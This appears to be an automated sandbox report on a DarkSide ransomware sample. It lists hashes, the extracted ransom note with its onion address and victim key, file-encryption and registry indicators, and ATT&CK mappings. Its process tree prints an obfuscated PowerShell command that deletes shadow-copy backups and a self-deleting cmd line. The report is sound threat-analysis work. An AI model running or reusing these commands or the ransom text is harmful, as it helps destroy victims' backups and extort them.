darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
108s
max time network
113s
platform
windows7_x64
resource
win7v20210410
submitted
12-05-2021 19:34

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General

Target

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Size

59KB
MD5

f9fc1a1a95d5723c140c2a8effc93722
SHA1

ce2480dec2ee0a47549fad355c3cf154f9aab836
SHA256

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa
SHA512

3816029ac654cfc546e78c5f331ad61ef21ebab0e92bacdba5a5d2cd9149002930cf46c9a1dab357697540849229d2fc0a490433aa95713d36685334ce8e8b11

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y When you open our website, put the following data in the input form: Key: k1xICnEwA8i4Exaf4zIjmEWUAK2JUsPppp7hmFIkcNOrmtfztXYRZSKEorEsHiVAg8gIcnQe7gLRyHyJg5knONhaC09HlFh6pr8Ze6Q8hGhKCm2s2OSBStASleEhgnzUaPkJzRNcaENVKONFOZjCg10YHEjNrfuE8JawoVmpQrws6XsdgiXD2E0D1VwxTCAMsDjMY7tpNOgBqY8NWoFYIWhkEoCDjp52OTKNCZfBSR3uinUDqXkUMApbz6JQ00VdTlJqjBH4QS7o73lU2Vtbr7CkQR9q5nXYLlgMKZUNiH4p0dWISOfEHmJWaWIeK1xkMIqqeao5CMf9enqc3xAG4zfW3iaUEQBwS0cDkv2aQCPFHARd71L9sZAtjcedVolkwYUqnBA9HiZRzoX7CmyX1D99XvN4HCzUmSYm0Nzr3goQSB1obYAKoKomDRTtZpLnTblmRkQoYj4dOJFiiXEdA7OswuJUeavsdO8v2XFzweyVNRNLcFy0v6OtQtRxklvgLBy4zztKaiNz7WUBzS2J5HlC7gwpnLclBloh07Bz0AI0clGIWLZf6kb !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 17 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ReceiveWait.tif.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\AddDebug.crw.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\ConvertFromStart.crw => C:\Users\Admin\Pictures\ConvertFromStart.crw.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\ExitSelect.tiff => C:\Users\Admin\Pictures\ExitSelect.tiff.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\ExitSelect.tiff.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\HideAdd.tiff.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\ProtectWrite.raw.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\ReceiveWait.tif => C:\Users\Admin\Pictures\ReceiveWait.tif.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\AddDebug.crw => C:\Users\Admin\Pictures\AddDebug.crw.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\ConvertFromStart.crw.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\HideAdd.tiff => C:\Users\Admin\Pictures\HideAdd.tiff.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\ProtectWrite.raw => C:\Users\Admin\Pictures\ProtectWrite.raw.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\HideAdd.tiff	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\SetInstall.tiff.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\ExitSelect.tiff	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File opened for modification	C:\Users\Admin\Pictures\SetInstall.tiff	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
File renamed	C:\Users\Admin\Pictures\SetInstall.tiff => C:\Users\Admin\Pictures\SetInstall.tiff.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2856 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2856	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

pid process

1088 43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies registry class 5 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

pid	process
788	powershell.exe
788	powershell.exe
1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSecurityPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeTakeOwnershipPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeLoadDriverPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemProfilePrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemtimePrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeProfSingleProcessPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeIncBasePriorityPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeCreatePagefilePrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeBackupPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRestorePrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeShutdownPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemEnvironmentPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRemoteShutdownPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeUndockPrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeManageVolumePrivilege	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 33	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 34	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 35	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	788	powershell.exe
Token: SeBackupPrivilege	1244	vssvc.exe
Token: SeRestorePrivilege	1244	vssvc.exe
Token: SeAuditPrivilege	1244	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	pid	process	target process
PID 1088 wrote to memory of 788	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 1088 wrote to memory of 788	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 1088 wrote to memory of 788	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 1088 wrote to memory of 788	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 1088 wrote to memory of 2856	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 1088 wrote to memory of 2856	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 1088 wrote to memory of 2856	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 1088 wrote to memory of 2856	1088	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
"C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:788

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\43E615~1.EXE >> NUL
2⤵
- Deletes itself
PID:2856

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1244

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
7591dad916c8d4b26851f1302e9ac9d8

SHA1
7754aed5672b339ca23303b598197a793e499ee0

SHA256
7ba4f67fa12007a1bf7026583e611142225b75c869377e8a605ab5ccdfaa4f7d

SHA512
04393c9781b9bea5d53ffa3f8850b686191b0264965fff235ad6cea9c0e53ea95355b39dbafa052fac1fd61fa7c819e47cc884ec0d850524c55fd39b32a8e1d2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
b68f2892a1d0e30eb1d638d345e39611

SHA1
b73ff448cbb5bcacb85b92fed3a52eb03439bc66

SHA256
60d45410ab42efe3678fe7d9f2f98b8416bc3debaf3df955ddee02f649c60f7b

SHA512
e7c074bec7be25ac006f50e5f8403e3d07aa4c40419ea18c3363579ca0554def7e866aad4a55d6326b2f90320250696cf49a2b22c84f9f19eb7ea4d85b03fd7e

Download Submit
memory/788-66-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

Filesize
8KB

Download
memory/788-63-0x0000000002050000-0x0000000002051000-memory.dmp

Filesize
4KB

Download
memory/788-64-0x000000001AB70000-0x000000001AB71000-memory.dmp

Filesize
4KB

Download
memory/788-65-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/788-67-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

Filesize
8KB

Download
memory/788-68-0x0000000002120000-0x0000000002121000-memory.dmp

Filesize
4KB

Download
memory/788-69-0x000000001C3B0000-0x000000001C3B1000-memory.dmp

Filesize
4KB

Download
memory/788-70-0x000000001AA60000-0x000000001AA61000-memory.dmp

Filesize
4KB

Download
memory/788-62-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

Filesize
8KB

Download
memory/788-61-0x0000000000000000-mapping.dmp

Download
memory/1088-60-0x0000000075281000-0x0000000075283000-memory.dmp

Filesize
8KB

Download
memory/2856-73-0x0000000000000000-mapping.dmp

Download